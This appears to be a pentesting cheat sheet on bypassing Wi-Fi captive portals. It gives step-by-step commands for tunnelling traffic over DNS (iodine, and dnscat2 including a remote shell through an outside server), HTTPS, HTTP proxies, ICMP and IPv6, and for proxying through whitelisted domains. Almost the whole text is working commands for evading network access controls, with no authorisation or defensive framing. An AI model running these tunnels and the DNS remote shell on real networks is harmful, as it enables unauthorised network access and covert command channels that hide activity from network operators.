Captive Portal Tunnelling
DNS Tunneling
DNS tunneling exploits the fact that captive portals must allow DNS queries (port 53) even for unauthenticated clients—otherwise, the portal login page itself wouldn't load. By encoding data in DNS queries and responses, you can tunnel arbitrary traffic (HTTP, SSH, etc.) through DNS without authentication. This works even on heavily restricted networks.
How it works: You run a DNS server on your external VPS that encodes data in DNS responses. Your client sends DNS queries with data encoded in subdomain names (e.g., 6d792064617461.tunnel.yourdomain.com, where the hex encodes "my data"). The server decodes these queries, processes them, and returns responses with encoded data. Tools like iodine and dnscat2 automate this, creating a tunnel interface (tun0) you can route traffic through.
Limitations: DNS tunneling is slow (typically 10-50 KB/s) due to DNS packet size limits and query rate limiting. It's detectable via traffic analysis—normal DNS queries are small and infrequent, while tunneled DNS generates constant large queries. Best used for SSH/text, not streaming video. Some portals block DNS to external resolvers (forcing you to use theirs), which defeats this technique.
1. Iodine - DNS Tunnel
# Server setup (your external VPS)
sudo apt install iodine
sudo iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.yourdomain.com
# Configure DNS
# Add NS record: tunnel.yourdomain.com -> <VPS_IP>
# Client (behind captive portal)
sudo apt install iodine
sudo iodine -f -P <PASSWORD> tunnel.yourdomain.com
# Tunnel established on tun0
# Route traffic through tunnel
sudo route add default gw 10.0.0.1 tun0
# Test
ping 10.0.0.1
curl --interface tun0 http://google.com2. dnscat2 - Encrypted DNS Tunnel
# Server (your VPS)
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
sudo gem install bundler
bundle install
sudo ruby dnscat2.rb tunnel.yourdomain.com
# Note the secret key displayed
# Client (behind portal)
cd dnscat2/client
make
./dnscat --secret=<SECRET_KEY> tunnel.yourdomain.com
# On server console:
dnscat2> session -i 1
dnscat2> shell
# Now you have shell access through DNS3. Proxy via DNS
# Use SOCKS proxy over DNS tunnel
# After establishing iodine tunnel:
# On VPS (10.0.0.1):
sudo apt install dante-server
# Configure /etc/danted.conf
sudo systemctl start danted
# On client:
ssh -D 8080 user@10.0.0.1 # Via tunnel
# Configure browser/system to use SOCKS5 127.0.0.1:8080SSL/TLS Tricks
1. HTTPS Bypass via SNI
# Many portals allow DNS (53) and HTTPS (443)
# Exploit by tunneling through HTTPS
# stunnel client config (/etc/stunnel/stunnel.conf)
[https-tunnel]
client = yes
accept = 127.0.0.1:8080
connect = your-vps.com:443
# VPS stunnel server config
[https-tunnel]
cert = /etc/stunnel/stunnel.pem
accept = 443
connect = 127.0.0.1:1080 # SOCKS proxy
# Start both and use local SOCKS proxy2. SSL/TLS CONNECT Tunnel
# proxytunnel - Tunnel through HTTPS proxy
sudo apt install proxytunnel
# If portal allows outbound HTTPS:
proxytunnel -p <PROXY_IP>:3128 -d your-vps.com:443 -a 9999
# SSH through tunnel
ssh -o ProxyCommand="proxytunnel -p <PROXY_IP>:3128 -d your-vps.com:443" user@localhost
# Or use corkscrew
sudo apt install corkscrew
ssh -o ProxyCommand="corkscrew <PROXY_IP> 3128 %h %p" user@your-vps.com3. DNS over HTTPS (DoH)
# Use a local DoH forwarder to bypass DNS restrictions.
# Modern cloudflared removed the 'proxy-dns' command (2021), so use a
# dedicated DoH client such as dnscrypt-proxy instead.
sudo apt install dnscrypt-proxy
# select a DoH server (e.g. Cloudflare) in
# /etc/dnscrypt-proxy/dnscrypt-proxy.toml, then:
sudo systemctl restart dnscrypt-proxy
# Point the system resolver at the local forwarder
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
# All DNS queries now travel over HTTPS (often allowed by the portal)Advanced Bypass Techniques
1. ICMP Tunnel
# ptunnel - Tunnel over ICMP (ping)
# Server (VPS)
sudo apt install ptunnel
sudo ptunnel -x <PASSWORD>
# Client (behind portal)
sudo ptunnel -p <VPS_IP> -lp 8000 -da <VPS_IP> -dp 22 -x <PASSWORD>
# SSH via ICMP tunnel
ssh -p 8000 user@localhost
# Note: Many portals block or rate-limit ICMP2. HTTP Tunnel
# httptunnel - Tunnel over HTTP
# Server (VPS)
sudo apt install httptunnel
sudo hts -F localhost:22 8888
# Client
htc -F 8022 <VPS_IP>:8888
# SSH via HTTP tunnel
ssh -p 8022 user@localhost
# Combine with HTTP proxy
htc -P <PROXY_IP>:3128 -F 8022 <VPS_IP>:88883. Abuse Allowed Domains
# Some portals whitelist domains (e.g., speedtest.net, apple.com)
# Find allowed domains:
for domain in speedtest.net apple.com google.com cloudflare.com; do
echo -n "Testing $domain: "
curl -s --max-time 3 -o /dev/null -w "%{http_code}" https://$domain
echo
done
# If domain is allowed, pivot through it
# Example: Use Cloudflare Workers as proxy
# Deploy worker that proxies requests
# Access via: https://yourworker.workers.dev/?url=http://target.com4. IPv6 Bypass
# Some portals only filter IPv4
# Check for IPv6 connectivity
ping6 -c 4 2001:4860:4860::8888 # Google DNS
# If IPv6 works:
curl -6 https://ipv6.google.com
# Configure IPv6 tunnel
# Hurricane Electric tunnel (tunnelbroker.net)
sudo ip tunnel add he-ipv6 mode sit remote <HE_SERVER> local <YOUR_IPv4> ttl 255
sudo ip link set he-ipv6 up
sudo ip addr add <YOUR_IPv6>/64 dev he-ipv6
sudo ip route add ::/0 dev he-ipv6
# Test
ping6 google.com